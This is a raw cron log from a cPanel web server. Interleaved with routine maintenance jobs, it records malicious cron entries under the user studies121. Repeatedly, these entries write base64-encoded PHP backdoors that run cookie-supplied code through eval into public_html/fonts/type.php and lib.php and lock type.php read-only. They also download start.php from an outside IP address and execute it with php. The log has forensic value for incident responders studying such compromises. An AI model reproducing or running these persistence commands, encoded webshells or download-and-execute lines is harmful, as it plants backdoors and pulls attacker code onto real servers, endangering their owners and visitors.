Sep 21 10:54:01 ip-184-168-122-23 CROND[16520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:54:01 ip-184-168-122-23 CROND[16519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:55:01 ip-184-168-122-23 CROND[16646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:55:01 ip-184-168-122-23 CROND[16647]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:55:01 ip-184-168-122-23 CROND[16649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:55:01 ip-184-168-122-23 CROND[16651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:55:01 ip-184-168-122-23 CROND[16650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:55:01 ip-184-168-122-23 CROND[16652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:56:01 ip-184-168-122-23 CROND[16867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:56:01 ip-184-168-122-23 CROND[16869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:56:01 ip-184-168-122-23 CROND[16868]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:56:01 ip-184-168-122-23 CROND[16872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:56:01 ip-184-168-122-23 CROND[16870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:57:01 ip-184-168-122-23 CROND[17025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:57:01 ip-184-168-122-23 CROND[17026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:57:01 ip-184-168-122-23 CROND[17030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:57:01 ip-184-168-122-23 CROND[17029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:58:01 ip-184-168-122-23 CROND[17291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:58:01 ip-184-168-122-23 CROND[17294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:58:01 ip-184-168-122-23 CROND[17295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:58:01 ip-184-168-122-23 CROND[17293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:58:01 ip-184-168-122-23 CROND[17296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:59:01 ip-184-168-122-23 CROND[17590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:59:01 ip-184-168-122-23 CROND[17592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:59:01 ip-184-168-122-23 CROND[17593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:59:01 ip-184-168-122-23 CROND[17591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:00:01 ip-184-168-122-23 CROND[17769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:00:01 ip-184-168-122-23 CROND[17771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:00:01 ip-184-168-122-23 CROND[17772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 11:00:01 ip-184-168-122-23 CROND[17774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:00:01 ip-184-168-122-23 CROND[17775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:00:01 ip-184-168-122-23 CROND[17776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:00:01 ip-184-168-122-23 CROND[17773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:00:01 ip-184-168-122-23 CROND[17777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:01:01 ip-184-168-122-23 CROND[17938]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17938]: starting 0anacron
Sep 21 11:01:01 ip-184-168-122-23 CROND[17942]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 11:01:01 ip-184-168-122-23 CROND[17943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:01:01 ip-184-168-122-23 CROND[17945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:01:01 ip-184-168-122-23 CROND[17946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:01:01 ip-184-168-122-23 CROND[17944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17959]: finished 0anacron
Sep 21 11:02:01 ip-184-168-122-23 CROND[18162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:02:01 ip-184-168-122-23 CROND[18163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:02:01 ip-184-168-122-23 CROND[18167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:02:01 ip-184-168-122-23 CROND[18166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:02:01 ip-184-168-122-23 CROND[18169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:03:01 ip-184-168-122-23 CROND[18317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:03:01 ip-184-168-122-23 CROND[18316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:03:01 ip-184-168-122-23 CROND[18314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:03:01 ip-184-168-122-23 CROND[18315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:04:01 ip-184-168-122-23 CROND[18466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:04:01 ip-184-168-122-23 CROND[18468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:04:01 ip-184-168-122-23 CROND[18472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:04:01 ip-184-168-122-23 CROND[18469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:04:01 ip-184-168-122-23 CROND[18470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:05:01 ip-184-168-122-23 CROND[18618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:05:01 ip-184-168-122-23 CROND[18617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:05:01 ip-184-168-122-23 CROND[18619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:05:01 ip-184-168-122-23 CROND[18620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 11:05:01 ip-184-168-122-23 CROND[18624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:05:01 ip-184-168-122-23 CROND[18623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:05:01 ip-184-168-122-23 CROND[18625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:06:01 ip-184-168-122-23 CROND[18771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:06:01 ip-184-168-122-23 CROND[18773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:06:01 ip-184-168-122-23 CROND[18775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:06:01 ip-184-168-122-23 CROND[18774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
